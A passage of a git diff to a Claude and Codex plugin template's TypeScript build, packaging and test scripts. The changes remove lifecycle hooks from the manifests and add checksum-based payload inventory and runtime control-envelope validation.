TextDecoder().decode(contents)) + return { + skillId, + fileName: "hello-world.js", + bytes: contents.byteLength, + sha256: sha256Hex(contents), + contents, + } +} + +/** Reject every install outcome except an ordinary zero exit. */ +export function assertSuccessfulInstall(install: InstallResult): void { + if (install.exitCode === 0) return + const detail = install.signalCode + ? `terminated by signal ${install.signalCode}` + : `exited with code ${String(install.exitCode)}` + const stderr = install.stderr ? new TextDecoder().decode(install.stderr).trim() : "" + throw new Error(`bun install ${detail}${stderr ? `: ${stderr}` : ""}`) +} + +async function main(): Promise { + const root = resolve(import.meta.dir, "..") + const pluginConfig = loadPluginConfig(root) + for (const manifestPath of [ + "plugin/.claude-plugin/plugin.json", + "plugin/.codex-plugin/plugin.json", + ]) { + const manifest = JSON.parse(readFileSync(join(root, manifestPath), "utf8")) + if (manifest.version !== pluginConfig.version) { + throw new Error(`${manifestPath} version does not match plugin.config.json`) + } + } + + const install = Bun.spawnSync({ + cmd: [process.execPath, "install", "--frozen-lockfile", "--ignore-scripts"], + cwd: root, + stdout: "pipe", + stderr: "pipe", + }) + assertSuccessfulInstall(install) + + const closure = await buildWorkspaceBundles(root) + validateBundleClosure(root) + console.log( + JSON.stringify({ + ok: true, + action: "built", + sideEffects: "repository-files-written", + helloWorldRuntime: join(root, "plugin", "runtime", "hello-world.js"), + bundles: closure.bundles, + notices: closure.notices, + }), + ) +} + +if (import.meta.main) await main() diff --git a/scripts/dev.test.ts b/scripts/dev.test.ts new file mode 100644 index 0000000..00dea0d --- /dev/null +++ b/scripts/dev.test.ts @@ -0,0 +1,17 @@ +import { expect, test } from "bun:test" + +import { claudeWatchSources } from "./dev" + +test("Claude development watches workspace, runtime, manifest, and lock inputs", () => { + expect(claudeWatchSources).toEqual([ + { relativePath: "runtime", recursive: true }, + { relativePath: "packages", recursive: true }, + { relativePath: "plugin/skills", recursive: true }, + { relativePath: "plugin/.claude-plugin", recursive: true }, + { relativePath: "plugin/.codex-plugin", recursive: true }, + { relativePath: "package.json", recursive: false }, + { relativePath: "bun.lock", recursive: false }, + { relativePath: "bunfig.toml", recursive: false }, + { relativePath: "plugin.config.json", recursive: false }, + ]) +}) diff --git a/scripts/dev.ts b/scripts/dev.ts index 5528d6b..480e027 100644 --- a/scripts/dev.ts +++ b/scripts/dev.ts @@ -22,6 +22,18 @@ const developmentMarketplaceName = `${pluginName}-dev` const developmentRoot = join(root, ".dev", "codex-marketplace") const stagedPluginRoot = join(developmentRoot, "plugins", pluginName) +export const claudeWatchSources = [ + { relativePath: "runtime", recursive: true }, + { relativePath: "packages", recursive: true }, + { relativePath: "plugin/skills", recursive: true }, + { relativePath: "plugin/.claude-plugin", recursive: true }, + { relativePath: "plugin/.codex-plugin", recursive: true }, + { relativePath: "package.json", recursive: false }, + { relativePath: "bun.lock", recursive: false }, + { relativePath: "bunfig.toml", recursive: false }, + { relativePath: "plugin.config.json", recursive: false }, +] as const + const help = `Usage: bun run dev -- [options] Commands: @@ -171,16 +183,9 @@ async function runClaude(options: Options): Promise { return } - const watchedPaths = [ - "runtime/src", - "plugin/skills", - "plugin/hooks", - "plugin/.claude-plugin", - "plugin/.codex-plugin", - ] let rebuildTimer: ReturnType | undefined - const watchers = watchedPaths.map((relativePath) => - watch(join(root, relativePath), { recursive: true }, () => { + const watchers = claudeWatchSources.map(({ relativePath, recursive }) => + watch(join(root, relativePath), { recursive }, () => { if (rebuildTimer) clearTimeout(rebuildTimer) rebuildTimer = setTimeout(() => { console.error("\nPlugin source changed. Rebuilding portable distribution...") @@ -223,27 +228,31 @@ function runCodex(options: Options): void { if (options.launch) run(["codex"]) } -const options = parseOptions(process.argv.slice(2)) -if (!options) process.exit(0) - -if (options.dryRun) { - const plan = { - harness: options.harness, - build: "bun run build", - source: options.harness === "claude" ? pluginRoot : stagedPluginRoot, - install: - options.harness === "claude" - ? `claude --settings ${JSON.stringify(claudeSessionSettings)} --plugin-dir ${JSON.stringify(pluginRoot)}` - : `codex plugin add ${pluginName}@${developmentMarketplaceName}`, - reload: - options.harness === "claude" - ? "Run /reload-plugins after the watcher rebuilds" - : "Start a fresh Codex task after reinstall", +async function main(): Promise { + const options = parseOptions(process.argv.slice(2)) + if (!options) return + + if (options.dryRun) { + const plan = { + harness: options.harness, + build: "bun run build", + source: options.harness === "claude" ? pluginRoot : stagedPluginRoot, + install: + options.harness === "claude" + ? `claude --settings ${JSON.stringify(claudeSessionSettings)} --plugin-dir ${JSON.stringify(pluginRoot)}` + : `codex plugin add ${pluginName}@${developmentMarketplaceName}`, + reload: + options.harness === "claude" + ? "Run /reload-plugins after the watcher rebuilds" + : "Start a fresh Codex task after reinstall", + } + if (options.json) console.log(JSON.stringify(plan)) + else console.log(Object.values(plan).join("\n")) + } else if (options.harness === "claude") { + await runClaude(options) + } else { + runCodex(options) } - if (options.json) console.log(JSON.stringify(plan)) - else console.log(Object.values(plan).join("\n")) -} else if (options.harness === "claude") { - await runClaude(options) -} else { - runCodex(options) } + +if (import.meta.main) await main() diff --git a/scripts/generate.ts b/scripts/generate.ts index 4c780ea..bda77fc 100644 --- a/scripts/generate.ts +++ b/scripts/generate.ts @@ -1,6 +1,10 @@ import { resolve } from "node:path" import { checkGeneratedFiles, loadPluginConfig, writeGeneratedFiles } from "./plugin-config" +import { + checkRuntimeCustodyFiles, + writeRuntimeCustodyFiles, +} from "./runtime-custody-config" const root = resolve(import.meta.dir, "..") const arguments_ = process.argv.slice(2) @@ -8,7 +12,7 @@ const check = arguments_.includes("--check") const json = arguments_.includes("--json") if (arguments_.includes("--help") || arguments_.includes("-h")) { - console.log(`Generate native harness manifests from plugin.config.json. + console.log(`Generate native manifests and runtime-custody projections from canonical sources. Usage: bun run generate @@ -29,19 +33,29 @@ for (const argument of arguments_) { } const config = loadPluginConfig(root) -const drifted = checkGeneratedFiles(root, config) -if (check && drifted.length > 0) { - console.error(`Generated manifests differ from plugin.config.json:\n${drifted.join("\n")}`) - console.error("Run `bun run generate` and commit the generated files.") - process.exit(1) +if (check) { + const drifted = [ + ...checkGeneratedFiles(root, config), + ...checkRuntimeCustodyFiles(root), + ] + if (drifted.length > 0) { + console.error(`Generated files differ from canonical sources:\n${drifted.join("\n")}`) + console.error("Run `bun run generate` and commit the generated files.") + process.exit(1) + } } -const files = check ? [] : writeGeneratedFiles(root, config) +const files = check + ? [] + : [ + ...writeGeneratedFiles(root, config), + ...writeRuntimeCustodyFiles(root), + ] const result = { ok: true, action: check ? "checked" : "generated", sideEffects: check ? "none" : "repository-files-written", plugin: { name: config.name, version: config.version }, - files: check ? checkGeneratedFiles(root, config) : files.map((file) => file.path), + files: check ? [] : files.map((file) => file.path), } if (json) console.log(JSON.stringify(result)) -else console.log(check ? "Generated manifests are current." : `Generated ${files.length} manifests.`) +else console.log(check ? "Generated files are current." : `Generated ${files.length} files.`) diff --git a/scripts/harness-install-codex.test.ts b/scripts/harness-install-codex.test.ts index 8f83bae..8cb93ea 100644 --- a/scripts/harness-install-codex.test.ts +++ b/scripts/harness-install-codex.test.ts @@ -38,11 +38,11 @@ function installedState( ): CodexInstallState { const installedPath = join(root, `${addVersion}-${listedVersion}-${runtime}`) mkdirSync(join(installedPath, "runtime"), { recursive: true }) - mkdirSync(join(installedPath, "hooks", "codex"), { recursive: true }) + mkdirSync(join(installedPath, ".codex-plugin"), { recursive: true }) writeFileSync(join(installedPath, "runtime", "hello-world.js"), runtime) writeFileSync( - join(installedPath, "hooks", "codex", "hooks.json"), - JSON.stringify({ command: `hello-world --plugin-version ${listedVersion}` }), + join(installedPath, ".codex-plugin", "plugin.json"), + JSON.stringify({ name: "plugin", version: listedVersion }), ) return { marketplaceAdd: { marketplaceName: "plugin", installedRoot: root, alreadyAdded: false }, diff --git a/scripts/harness-install-codex.ts b/scripts/harness-install-codex.ts index 859f4c2..c48fa3b 100644 --- a/scripts/harness-install-codex.ts +++ b/scripts/harness-install-codex.ts @@ -72,7 +72,7 @@ export function proveCodexNative( ) assertCodexReportedVersion(initial, fixture.base.manifestVersion, "install") const initialInventory = dependencies.comparePayload(fixture.base, initial.add.installedPath) - const initialRuntimeDigest = digestFile(join(initial.add.installedPath, "runtime", "hello-world.js")) + const initialReleaseDigest = digestFile(join(initial.add.installedPath, ".codex-plugin", "plugin.json")) const priorRecovery = { source: initial.plugin.marketplaceSource.source, ref: fixture.base.requestedRef, @@ -98,8 +98,8 @@ export function proveCodexNative( ) assertCodexReportedVersion(upgraded, fixture.target.manifestVersion, "upgrade") const upgradedInventory = dependencies.comparePayload(fixture.target, upgraded.add.installedPath) - const upgradedRuntimeDigest = digestFile(join(upgraded.add.installedPath, "runtime", "hello-world.js")) - if (initialRuntimeDigest === upgradedRuntimeDigest) { + const upgradedReleaseDigest = digestFile(join(upgraded.add.installedPath, ".codex-plugin", "plugin.json")) + if (initialReleaseDigest === upgradedReleaseDigest) { throw new Error("Codex local reinstall did not change installed bytes") } @@ -161,13 +161,10 @@ export function proveCodexNative( if (marketplaceState.marketplaceSource?.sourceType !== "local") { throw new Error("Codex local proof did not report a local marketplace cache source") } - const hookSource = readFileSync( - join(restored.add.installedPath, "hooks", "codex", "hooks.json"), - "utf8", + const manifest = JSON.parse( + readFileSync(join(restored.add.installedPath, ".codex-plugin", "plugin.json"), "utf8"), ) - if (!hookSource.includes(`--plugin-version ${fixture.base.manifestVersion}`)) { - throw new Error("Codex installed hook is not bound to the tagged plugin version") - } + if (manifest.hooks !== undefined) throw new Error("Codex installed payload activates lifecycle hooks") return { mode: "native-local-marketplace", version: restored.add.version, @@ -199,13 +196,11 @@ export function proveCodexNative( enabledStateRestored: true, failureRestored, }, - trust: { + activation: { pluginEnabled: restored.plugin.enabled, - hookDefinitionPresent: true, - hookTrusted: false, - preTrustExecution: "skipped", - separateFromEnablement: true, - interactiveAcceptance: "skipped: /hooks trust acceptance requires a human interactive task", + lifecycleHookPresent: false, + executionEntry: "explicit skill launcher", + runtimeRepairOwner: "agent workflow with human approval", }, } } @@ -249,13 +244,6 @@ export function proveCodexFixtureCopy( enabledStateRestored: false, failureRestored: false, }, - trust: { - pluginEnabled: true, - hookDefinitionPresent: true, - hookTrusted: false, - preTrustExecution: "skipped", - separateFromEnablement: true, - interactiveAcceptance: "skipped: Codex CLI unavailable", - }, + activation: null, } } diff --git a/scripts/init.test.ts b/scripts/init.test.ts index a50b495..a7dd0e5 100644 --- a/scripts/init.test.ts +++ b/scripts/init.test.ts @@ -20,12 +20,10 @@ const resetPaths = [ ".agents/plugins/marketplace.json", "plugin/.claude-plugin/plugin.json", "plugin/.codex-plugin/plugin.json", - "plugin/hooks/codex/hooks.json", ".github/release-please-config.json", "package.json", ".github/.release-please-manifest.json", "CHANGELOG.md", - "plugin/runtime/hello-world.js", ] function copyTemplate(prefix: string): string { @@ -128,22 +126,6 @@ function createReleasedTemplate(prefix: string): string { writeJson(manifestPath, manifest) } - const runtimePath = join(temporaryRoot, "plugin", "runtime", "hello-world.js") - writeFileSync( - runtimePath, - readFileSync(runtimePath, "utf8").replace( - 'const PLUGIN_VERSION = "0.1.0";', - 'const PLUGIN_VERSION = "9.9.9";', - ), - ) - const codexHooksPath = join(temporaryRoot, "plugin", "hooks", "codex", "hooks.json") - writeFileSync( - codexHooksPath, - readFileSync(codexHooksPath, "utf8").replaceAll( - "--plugin-version 0.1.0", - "--plugin-version 9.9.9", - ), - ) writeJson(join(temporaryRoot, ".github", ".release-please-manifest.json"), { ".": "9.9.9" }) writeFileSync(join(temporaryRoot, "CHANGELOG.md"), "# Changelog\n\n## 9.9.9\n\n- Template history\n") return temporaryRoot @@ -221,8 +203,8 @@ test("template user initializes both harness manifests from one metadata source" version: initialVersion, defaultEnabled: false, skills: "./skills/", - hooks: "./hooks/claude/hooks.json", }) + expect(claudeManifest).not.toHaveProperty("hooks") const claudeMarketplace = JSON.parse( readFileSync(join(temporaryRoot, ".claude-plugin", "marketplace.json"), "utf8"), ) @@ -239,9 +221,9 @@ test("template user initializes both harness manifests from one metadata source" name: "dojo-hello", version: initialVersion, skills: "./skills/", - hooks: "./hooks/codex/hooks.json", interface: { displayName: "Dojo Hello" }, }) + expect(codexManifest).not.toHaveProperty("hooks") const codexMarketplace = JSON.parse( readFileSync(join(temporaryRoot, ".agents", "plugins", "marketplace.json"), "utf8"), @@ -357,8 +339,6 @@ test("initialization resets recipient release lineage to 0.1.0", () => { expect(codexManifest.version).toBe("0.1.0") expect(claudeMarketplace.metadata.version).toBe("0.1.0") - const runtime = readFileSync(join(temporaryRoot, "plugin", "runtime", "hello-world.js"), "utf8") - expect(runtime).toContain('// x-release-please-start-version\nconst PLUGIN_VERSION = "0.1.0";\n// x-release-please-end') expect( JSON.parse(readFileSync(join(temporaryRoot, ".github", ".release-please-manifest.json"), "utf8")), ).toEqual({}) @@ -368,12 +348,7 @@ test("initialization resets recipient release lineage to 0.1.0", () => { ) expect(releaseConfig.packages["."]["package-name"]).toBe("dojo-hello") - const codexHooks = JSON.parse( - readFileSync(join(temporaryRoot, "plugin", "hooks", "codex", "hooks.json"), "utf8"), - ) - for (const event of ["SessionStart", "Stop"]) { - expect(codexHooks.hooks[event][0].hooks[0].command).toContain("--plugin-version 0.1.0") - } + expect(existsSync(join(temporaryRoot, "plugin", "hooks"))).toBe(false) }) test("reinitialization without force preserves recipient release files", () => { @@ -431,18 +406,6 @@ test.each([ writeFileSync(join(temporaryRoot, ".github", "release-please-config.json"), "{\n"), expected: "release reset file .github/release-please-config.json is not valid JSON", }, - { - case: "missing runtime version markers", - path: "plugin/runtime/hello-world.js", - mutate: (temporaryRoot: string) => { - const path = join(temporaryRoot, "plugin", "runtime", "hello-world.js") - writeFileSync( - path, - readFileSync(path, "utf8").replace("// x-release-please-start-version", "// missing"), - ) - }, - expected: "plugin/runtime/hello-world.js is missing release version markers", - }, ] as const)("$case returns structured failure naming $path before writes", ({ mutate, expected }) => { const temporaryRoot = copyTemplate("agent-plugin-template-reset-failure-") const configPath = join(temporaryRoot, "plugin.config.json") @@ -601,6 +564,9 @@ test("initialized repository packages the configured plugin identity", () => { archive: `dojo-hello-${initialVersion}.tar.gz`, archiveBytes: expect.any(Number), archiveSha256: expect.stringMatching(/^[a-f0-9]{64}$/), + runtimeLockSha256: expect.stringMatching(/^[a-f0-9]{64}$/), + bundleInventorySha256: expect.stringMatching(/^[a-f0-9]{64}$/), + payloadInventorySha256: expect.stringMatching(/^[a-f0-9]{64}$/), evidence: "Checksum metadata is integrity evidence for these archive bytes, not independent publisher or builder authenticity.", }) diff --git a/scripts/init.ts b/scripts/init.ts index 53c606d..f1cfb79 100644 --- a/scripts/init.ts +++ b/scripts/init.ts @@ -150,16 +150,6 @@ function releaseResetFiles(root: string, name: string): Array<{ path: string; co const packageJson = parseResetJson(root, "package.json") packageJson.version = initialVersion - const runtimePath = "plugin/runtime/hello-world.js" - const runtime = readResetFile(root, runtimePath) - const startMarker = "// x-release-please-start-version" - const endMarker = "// x-release-please-end" - const start = runtime.indexOf(startMarker) - const end = runtime.indexOf(endMarker, start + startMarker.length) - if (start === -1 || end === -1) fail(`${runtimePath} is missing release version markers`) - const versionBlock = `${startMarker}\nconst PLUGIN_VERSION = ${JSON.stringify(initialVersion)};\n${endMarker}` - const resetRuntime = `${runtime.slice(0, start)}${versionBlock}${runtime.slice(end + endMarker.length)}` - return [ { path: ".github/release-please-config.json", @@ -168,7 +158,6 @@ function releaseResetFiles(root: string, name: string): Array<{ path: string; co { path: "package.json", contents: `${JSON.stringify(packageJson, null, 2)}\n` }, { path: ".github/.release-please-manifest.json", contents: "{}\n" }, { path: "CHANGELOG.md", contents: "" }, - { path: runtimePath, contents: resetRuntime }, ] } diff --git a/scripts/package.ts b/scripts/package.ts index 5b2c1a0..bd56254 100644 --- a/scripts/package.ts +++ b/scripts/package.ts @@ -11,7 +11,13 @@ import { import { tmpdir } from "node:os" import { join, resolve } from "node:path" -import { copyPluginPayload, directoryArchiveEntries } from "./plugin-files" +import { validateBunOnlyPayload } from "./build" +import { + copyPluginPayload, + directoryArchiveEntries, + payloadInventorySha256, + pluginPayloadInventory, +} from "./plugin-files" import { loadPluginConfig } from "./plugin-config" const root = resolve(import.meta.dir, "..") @@ -58,8 +64,23 @@ function validateSourceCommit(value: string, source: string): string { return value } +function sha256(bytes: Uint8Array | string): string { + return new Bun.CryptoHasher("sha256").update(bytes).digest("hex") +} + +function payloadInventoryDigest(): string { + return payloadInventorySha256(join(root, "plugin"), pluginPayloadInventory(root)) +} + try { + // Missing, stale, or orphaned bundle mappings fail before packaging. + validateBunOnlyPayload(root) const sourceCommit = resolveSourceCommit() + const runtimeLockSha256 = sha256(readFileSync(join(root, "runtime", "runtime.lock.json"))) + const bundleInventorySha256 = sha256( + readFileSync(join(root, "plugin", "runtime", "bundle-inventory.json")), + ) + const payloadInventorySha256 = payloadInventoryDigest() mkdirSync(outputRoot, { recursive: true }) copyPluginPayload(root, packageRoot) @@ -151,6 +172,9 @@ try { archive: `${packageName}.tar.gz`, archiveBytes, archiveSha256: archiveDigest, + runtimeLockSha256, + bundleInventorySha256, + payloadInventorySha256, evidence: "Checksum metadata is integrity evidence for these archive bytes, not independent publisher or builder authenticity.", }, diff --git a/scripts/plugin-config.ts b/scripts/plugin-config.ts index e7235b3..756a5a9 100644 --- a/scripts/plugin-config.ts +++ b/scripts/plugin-config.ts @@ -383,7 +383,6 @@ function claudeManifest(config: PluginConfig): GeneratedFile { license: config.license, keywords: config.keywords, skills: "./skills/", - hooks: "./hooks/claude/hooks.json", }), } } @@ -400,7 +399,6 @@ function codexManifest(config: PluginConfig): GeneratedFile { license: config.license, keywords: config.keywords, skills: "./skills/", - hooks: "./hooks/codex/hooks.json", interface: { displayName: config.displayName, shortDescription: config.shortDescription, @@ -413,41 +411,6 @@ function codexManifest(config: PluginConfig): GeneratedFile { }), } } - -function codexHooks(config: PluginConfig): GeneratedFile { - return { - path: "plugin/hooks/codex/hooks.json", - contents: serialize({ - hooks: { - SessionStart: [ - { - matcher: "*", - hooks: [ - { - type: "command", - command: `"\${PLUGIN_ROOT}/bin/hello-world" hook --harness codex --event SessionStart --plugin-version ${config.version} # x-release-please-version`, - timeout: 10, - statusMessage: "Running portable plugin hook", - }, - ], - }, - ], - Stop: [ - { - hooks: [ - { - type: "command", - command: `"\${PLUGIN_ROOT}/bin/hello-world" hook --harness codex --event Stop --plugin-version ${config.version} # x-release-please-version`, - timeout: 10, - }, - ], - }, - ], - }, - }), - } -} - /** Render native Claude and Codex files from canonical metadata. */ export function renderGeneratedFiles(config: PluginConfig): GeneratedFile[] { validateConfig(config) @@ -456,7 +419,6 @@ export function renderGeneratedFiles(config: PluginConfig): GeneratedFile[] { codexMarketplace(config), claudeManifest(config), codexManifest(config), - codexHooks(config), ] } diff --git a/scripts/plugin-files.test.ts b/scripts/plugin-files.test.ts index 9497fe0..d9da3d0 100644 --- a/scripts/plugin-files.test.ts +++ b/scripts/plugin-files.test.ts @@ -9,6 +9,7 @@ import { compareCodeUnits, copyPluginPayload, directoryArchiveEntries, + payloadInventorySha256, pluginPayloadInventory, } from "./plugin-files" @@ -194,6 +195,18 @@ test("inventory includes an unexpected regular file", () => { expect(pluginPayloadInventory(sourceRoot)).toEqual(["a-safe.txt", "unexpected.extra"]) }) +test("payload digest frames path and body bytes without cross-record ambiguity", () => { + const first = pluginFixture() + const second = pluginFixture() + fileSystem.writeFileSync(join(first.pluginRoot, "a-safe.txt"), Buffer.from("b\0c\0d")) + fileSystem.writeFileSync(join(second.pluginRoot, "a-safe.txt"), Buffer.from("b\0")) + fileSystem.writeFileSync(join(second.pluginRoot, "c"), "d") + + expect(payloadInventorySha256(first.pluginRoot, ["a-safe.txt"])).not.toBe( + payloadInventorySha256(second.pluginRoot, ["a-safe.txt", "c"]), + ) +}) + test("archive order keeps each directory beside its descendants", () => { const { pluginRoot } = pluginFixture() fileSystem.mkdirSync(join(pluginRoot, "runtime")) diff --git a/scripts/plugin-files.ts b/scripts/plugin-files.ts index 3fa3707..6f80362 100644 --- a/scripts/plugin-files.ts +++ b/scripts/plugin-files.ts @@ -1,8 +1,10 @@ +import { createHash } from "node:crypto" import { chmodSync, copyFileSync, lstatSync, mkdirSync, + readFileSync, readdirSync, realpathSync, } from "node:fs" @@ -27,6 +29,29 @@ export function compareCodeUnits(left: string, right: string): number { return left < right ? -1 : left > right ? 1 : 0 } +function framedLength(length: number): Buffer { + const frame = Buffer.allocUnsafe(8) + frame.writeBigUInt64BE(BigInt(length)) + return frame +} + +/** Hash an ordered payload inventory with collision-free path/body framing. */ +export function payloadInventorySha256( + payloadRoot: string, + inventory: readonly string[], +): string { + const hash = createHash("sha256") + for (const relativePath of inventory) { + const pathBytes = Buffer.from(relativePath, "utf8") + const fileBytes = readFileSync(join(payloadRoot, relativePath)) + hash.update(framedLength(pathBytes.byteLength)) + hash.update(pathBytes) + hash.update(framedLength(fileBytes.byteLength)) + hash.update(fileBytes) + } + return hash.digest("hex") +} + /** * List one directory tree in the exact depth-first order used by deterministic tar input. * diff --git a/scripts/plugin-manifest-contract.test.ts b/scripts/plugin-manifest-contract.test.ts index a596ce0..7b5ce8d 100644 --- a/scripts/plugin-manifest-contract.test.ts +++ b/scripts/plugin-manifest-contract.test.ts @@ -39,7 +39,6 @@ test("checked-in native manifests satisfy the published harness contracts", () = "license", "keywords", "skills", - "hooks", ]) { expect(claudeManifest[field], `Claude manifest field ${field}`).toBeDefined() expect(codexManifest[field], `Codex manifest field ${field}`).toBeDefined() @@ -84,7 +83,8 @@ test("checked-in native manifests satisfy the published harness contracts", () = expect(config.defaultPrompts.every((prompt: string) => prompt.length <= 128)).toBe(true) for (const manifest of [claudeManifest, codexManifest]) { - for (const field of ["skills", "hooks"]) { + expect(manifest).not.toHaveProperty("hooks") + for (const field of ["skills"]) { const path = manifest[field] expect(path.startsWith("./"), `${field} must be plugin-relative`).toBe(true) expect(existsSync(join(pluginRoot, path)), `${field} target must exist`).toBe(true) @@ -234,17 +234,6 @@ test("package validation and directory-readiness text limits remain separate bou expect(() => renderGeneratedFiles(packageReady)).toThrow("directory-readiness text subset") }) -test("generated Codex hook commands bind the canonical plugin version", () => { - const codexHooks = JSON.parse( - readFileSync(join(pluginRoot, "hooks", "codex", "hooks.json"), "utf8"), - ) - for (const event of ["SessionStart", "Stop"]) { - expect(codexHooks.hooks[event][0].hooks[0].command).toContain( - `--plugin-version ${config.version}`, - ) - } -}) - const claudeExecutable = Bun.which("claude") if (claudeExecutable) { test("checked-in Claude plugin passes strict native validation", () => { diff --git a/scripts/proof-control-envelope.test.ts b/scripts/proof-control-envelope.test.ts new file mode 100644 index 0000000..434f3ac --- /dev/null +++ b/scripts/proof-control-envelope.test.ts @@ -0,0 +1,49 @@ +import { describe, expect, test } from "bun:test" +import { requireProofControlEnvelope } from "./proof-control-envelope" + +function result(stdout: string): ReturnType { + return { + exitCode: 0, + stdout: Buffer.from(`${stdout}\n`), + stderr: Buffer.from(""), + } as ReturnType +} + +const valid = { + schemaVersion: 1, + ok: true, + code: "REPAIR_APPLIED", + sideEffects: ["runtime cache updated"], + retrySafe: true, + nextAction: "Retry the skill launcher.", + runtime: { version: "1.3.14", executableSha256: "a".repeat(64) }, +} + +test("accepts a complete runtime control envelope", () => { + expect(requireProofControlEnvelope("repair", result(JSON.stringify(valid)), 0, valid.code)).toEqual(valid) +}) + +describe("rejects malformed runtime control envelope fields", () => { + test.each([ + ["non-object", null], + ["ok", { ...valid, ok: "true" }], + ["sideEffects container", { ...valid, sideEffects: "runtime cache updated" }], + ["sideEffects member", { ...valid, sideEffects: [1] }], + ["retrySafe", { ...valid, retrySafe: "true" }], + ["nextAction", { ...valid, nextAction: ["retry"] }], + ["runtime null", { ...valid, runtime: null }], + ["runtime array", { ...valid, runtime: [] }], + ["runtime version", { ...valid, runtime: { version: 1 } }], + ["runtime digest", { ...valid, runtime: { executableSha256: false } }], + ] as const)("rejects %s", (_name, envelope) => { + expect(() => requireProofControlEnvelope("repair", result(JSON.stringify(envelope)), 0, valid.code)).toThrow( + /repair: (expected one JSON control object|invalid REPAIR_APPLIED control object)/, + ) + }) +}) + +test("wraps malformed JSON with proof-step context", () => { + expect(() => requireProofControlEnvelope("repair", result("{"), 0, valid.code)).toThrow( + "repair: expected one JSON control object", + ) +}) diff --git a/scripts/proof-control-envelope.ts b/scripts/proof-control-envelope.ts new file mode 100644 index 0000000..da0c7cd --- /dev/null +++ b/scripts/proof-control-envelope.ts @@ -0,0 +1,65 @@ +export interface ProofControlEnvelope { + schemaVersion: number + ok: boolean + code: string + sideEffects: string[] + retrySafe?: boolean + nextAction: string + runtime?: { version?: string; executableSha256?: string } +} + +function isStringArray(value: unknown): value is string[] { + return Array.isArray(value) && value.every((item) => typeof item === "string") +} + +function isRuntimeIdentity(value: unknown): value is NonNullable { + if (typeof value !== "object" || value === null || Array.isArray(value)) return false + const runtime = value as Record + return ( + (runtime.version === undefined || typeof runtime.version === "string") && + (runtime.executableSha256 === undefined || typeof runtime.executableSha256 === "string") + ) +} + +function hasValidPayload( + value: Record, +): value is Record & ProofControlEnvelope { + return ( + typeof value.ok === "boolean" && + isStringArray(value.sideEffects) && + typeof value.nextAction === "string" && + (value.retrySafe === undefined || typeof value.retrySafe === "boolean") && + (value.runtime === undefined || isRuntimeIdentity(value.runtime)) + ) +} + +/** Read one runtime control envelope while preserving proof-specific step context. */ +export function requireProofControlEnvelope( + step: string, + result: ReturnType, + expectedExit: number, + expectedCode: string, +): ProofControlEnvelope { + if (result.exitCode !== expectedExit) { + throw new Error(`${step}: exit ${result.exitCode}; ${result.stderr.toString().trim()}`) + } + const lines = result.stdout.toString().trim().split("\n") + if (lines.length !== 1) throw new Error(`${step}: expected one JSON control object`) + let parsed: unknown + try { + parsed = JSON.parse(lines[0]) + } catch { + throw new Error(`${step}: expected one JSON control object`) + } + if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) { + throw new Error(`${step}: expected one JSON control object`) + } + const envelope = parsed as Record + if (envelope.schemaVersion !== 1 || envelope.code !== expectedCode) { + throw new Error(`${step}: expected ${expectedCode}, received ${String(envelope.code)}`) + } + if (!hasValidPayload(envelope)) { + throw new Error(`${step}: invalid ${expectedCode} control object`) + } + return envelope +} diff --git a/scripts/prove-distribution.ts b/scripts/prove-distribution.ts index d46722b..678b2fa 100644 --- a/scripts/prove-distribution.ts +++ b/scripts/prove-distribution.ts @@ -10,6 +10,7 @@ import { basename, join, resolve } from "node:path" import { assertDistributionChecksumIdentity } from "./distribution-checksums" import { directoryArchiveEntries, + payloadInventorySha256, PLUGIN_DIRECTORY, pluginPayloadInventory, } from "./plugin-files" @@ -42,7 +43,7 @@ function packagePlugin(): PackageResult { function runPackaged( launcher: string, arguments_: string[], - standardInput = "", + xdgCacheHome: string, ): { exitCode: number; stdout: string; stderr: string } { const process_ = Bun.spawnSync({ cmd: [launcher, ...arguments_], @@ -50,8 +51,9 @@ function runPackaged( ...process.env, PATH: "/usr/bin:/bin", HELLO_WORLD_RUN_ID: "packaged-offline-proof", + XDG_CACHE_HOME: xdgCacheHome, }, - stdin: Buffer.from(standardInput), + stdin: "ignore", stdout: "pipe", stderr: "pipe", }) @@ -86,19 +88,25 @@ for (const required of [ `${packageName}/.claude-plugin/plugin.json`, `${packageName}/.codex-plugin/plugin.json`, `${packageName}/skills/hello-world/SKILL.md`, - `${packageName}/hooks/claude/hooks.json`, - `${packageName}/hooks/codex/hooks.json`, + `${packageName}/skills/runtime-custody/SKILL.md`, + `${packageName}/skills/skill-a/SKILL.md`, + `${packageName}/skills/skill-b/SKILL.md`, `${packageName}/bin/hello-world`, + `${packageName}/bin/skill-a`, + `${packageName}/bin/skill-b`, `${packageName}/runtime/hello-world.js`, - `${packageName}/runtime/qjs-darwin-arm64`, - `${packageName}/runtime/qjs-darwin-x86_64`, - `${packageName}/runtime/qjs-linux-aarch64`, - `${packageName}/runtime/qjs-linux-x86_64`, - `${packageName}/runtime/quickjs-assets.json`, - `${packageName}/QUICKJS-LICENSE`, + `${packageName}/runtime/runtime-exec`, + `${packageName}/runtime/runtime-lock.sh`, + `${packageName}/runtime/skill-catalog.sh`, + `${packageName}/runtime/bundle-inventory.json`, + `${packageName}/runtime/bundle-inventory.sh`, + `${packageName}/THIRD-PARTY-NOTICES.md`, ]) { if (!entries.includes(required)) throw new Error(`package is missing ${required}`) } +if (entries.some((entry) => /(?:^|\/)(?:hooks|qjs-|quickjs-assets\.json|QUICKJS-LICENSE)(?:\/|$)/i.test(entry))) { + throw new Error("package contains an active legacy runtime or hook surface") +} const expectedEntries = directoryArchiveEntries(join(root, PLUGIN_DIRECTORY), packageName) if (JSON.stringify(entries) !== JSON.stringify(expectedEntries)) { throw new Error( @@ -141,52 +149,35 @@ for (const relativePath of inventory) { } } -const launcher = join(installedRoot, "bin", "hello-world") -const version = runPackaged(launcher, ["--version"]) -if (version.exitCode !== 0 || version.stdout.trim() !== pluginConfig.version) { - throw new Error("packaged launcher version does not match plugin.config.json") -} -const hello = runPackaged(launcher, ["hello", "--name", "packaged", "--json"]) -if (hello.exitCode !== 0) throw new Error(hello.stderr) -const helloResult = JSON.parse(hello.stdout) -if ( - helloResult.message !== "Hello, packaged!" || - helloResult.pluginVersion !== pluginConfig.version || - helloResult.sideEffects !== "none" -) { - throw new Error("packaged launcher returned the wrong hello contract") -} - -for (const harness of ["claude", "codex"] as const) { - const hookArguments = ["hook", "--harness", harness, "--event", "SessionStart"] - if (harness === "codex") hookArguments.push("--plugin-version", pluginConfig.version) - const hook = runPackaged( - launcher, - hookArguments, - '{"session_id":"packaged-offline-proof"}\n', - ) - if (hook.exitCode !== 0 || !hook.stderr.includes(`hello-world hook: ${harness} SessionStart`)) { - throw new Error(`packaged ${harness} hook 